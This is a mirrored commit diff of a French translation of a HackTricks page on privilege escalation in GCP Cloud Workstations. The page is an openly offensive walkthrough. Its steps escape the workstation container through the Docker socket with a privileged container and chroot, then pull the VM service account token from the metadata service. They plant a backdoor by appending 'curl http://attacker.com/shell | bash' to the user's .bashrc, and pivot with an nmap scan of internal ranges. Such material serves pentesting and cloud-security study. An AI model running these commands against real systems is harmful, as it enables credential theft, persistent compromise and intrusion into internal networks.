gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-03-12 21:22:57 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-03-03 15:42:57 +00:00
parent f333ddc081
commit 0a9ed996c2
1 changed files with 19 additions and 14 deletions
Download Patch File Download Diff File Expand all files Collapse all files

33
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
View File

@@ -1,18 +1,19 @@
# GCP - Cloud Workstations Privesc
{{#include ../../../banners/hacktricks-training.md}}
### Container Breakout via Docker Socket (Container -> VM -> Project)
Le principal vecteur d'escalade de privilèges dans Cloud Workstations provient de la nécessité de supporter les workflows **Docker-in-Docker (DinD)** pour les développeurs. Lorsque la configuration du workstation monte le Docker socket ou autorise les privileged containers (configuration courante), un attacker à l'intérieur du workstation container peut s'échapper vers la Compute Engine VM sous-jacente et voler son service account token.
Le principal vecteur d'escalade de privilèges dans Cloud Workstations provient de la nécessité de supporter les flux de travail **Docker-in-Docker (DinD)** pour les développeurs. Lorsque la configuration du workstation monte le Docker socket ou autorise des containers privilégiés (configuration courante), un attaquant à l'intérieur du container de la workstation peut s'échapper vers la Compute Engine VM sous-jacente et voler son service account token.
**Prerequisites:**
- Accès à un terminal Cloud Workstation (via SSH, session compromise ou identifiants volés)
- La configuration du workstation doit monter `/var/run/docker.sock` ou autoriser les privileged containers
**Prérequis :**
- Accès à un terminal Cloud Workstation (via SSH, une session compromise, ou des identifiants volés)
- La configuration du workstation doit monter `/var/run/docker.sock` ou autoriser des containers privilégiés
**Architecture context:** Le workstation est un container (Layer 3) s'exécutant sur un runtime Docker/Containerd (Layer 2) sur une GCE VM (Layer 1). Le Docker socket donne un accès direct au runtime de containers de l'hôte.
**Contexte d'architecture :** Le workstation est un container (Layer 3) s'exécutant sur un runtime Docker/Containerd (Layer 2) sur une VM GCE (Layer 1). Le Docker socket donne un accès direct au runtime des conteneurs de l'hôte.
> [!NOTE]
> L'outil [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatise l'évasion complète du container et ouvre un shell root sur la VM hôte.
> L'outil [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatise l'évasion complète du conteneur et vous place dans un root shell sur la VM hôte.
<details>
@@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
<details>
<summary>Étape 2 : Échapper vers le système de fichiers de la VM hôte</summary>
<summary>Étape 2 : S'échapper vers le système de fichiers de la VM hôte</summary>
Nous lançons un container privilégié, montant le répertoire racine de l'hôte sur `/mnt/host`. Nous partageons aussi le réseau de l'hôte et l'espace de noms PID pour maximiser la visibilité.
Nous lançons un conteneur privilégié, en montant le répertoire racine de l'hôte sur `/mnt/host`. Nous partageons également l'espace de noms réseau et PID de l'hôte pour maximiser la visibilité.
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
@@ -38,13 +39,13 @@ alpine sh
# Inside the new container, chroot into the host
chroot /mnt/host /bin/bash
```
Vous avez maintenant une **root shell on the underlying Compute Engine VM** (Layer 1).
Vous avez maintenant un **root shell on the underlying Compute Engine VM** (Layer 1).
</details>
<details>
<summary>Étape 3 : Voler le VM service account token depuis IMDS</summary>
<summary>Étape 3 : Steal the VM service account token from IMDS</summary>
```bash
# From the host VM, query the Instance Metadata Service
curl -s -H "Metadata-Flavor: Google" \
@@ -62,15 +63,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION]
> **Vérifiez les scopes !**
> Même si le Service Account associé est **Editor**, la VM peut être restreinte par les scopes d'accès.
> Même si le Service Account attaché est **Editor**, la VM peut être restreinte par les scopes d'accès.
> Si vous voyez `https://www.googleapis.com/auth/cloud-platform`, vous avez un accès complet.
> Si vous ne voyez que `logging.write` et `monitoring.write`, vous êtes limité aux vecteurs **Network Pivot** et **Persistence** ci‑dessous.
<details>
<summary>Étape 4: Achieve Persistence (Backdoor the User)</summary>
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
Cloud Workstations montent un disque persistant sur `/home/user`. Parce que l'utilisateur du container (généralement `user`, UID 1000) correspond à l'utilisateur de l'hôte (UID 1000), vous pouvez écrire dans le répertoire personnel de l'hôte. Cela vous permet de backdoor l'environnement même si le container de la workstation est reconstruit.
Cloud Workstations montent un disque persistant sur `/home/user`. Parce que le container user (généralement `user`, UID 1000) correspond au host user (UID 1000), vous pouvez écrire dans le répertoire personnel de l'hôte. Cela vous permet de backdoor l'environnement même si le workstation container est reconstruit.
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/
@@ -85,7 +86,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
Puisque vous partagez l'espace de noms réseau de l'hôte (`--net=host`), vous êtes maintenant un nœud de confiance sur le VPC. Vous pouvez scanner les services internes qui autorisent l'accès en fonction de l'IP whitelisting.
Depuis que vous partagez l'espace de noms réseau de l'hôte (`--net=host`), vous êtes maintenant un nœud de confiance sur le VPC. Vous pouvez scanner les services internes qui autorisent l'accès basé sur IP whitelisting.
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap
@@ -94,3 +95,7 @@ apk add nmap
nmap -sS -p 80,443,22 10.0.0.0/8
```
</details>
{{#include ../../../banners/hacktricks-training.md}}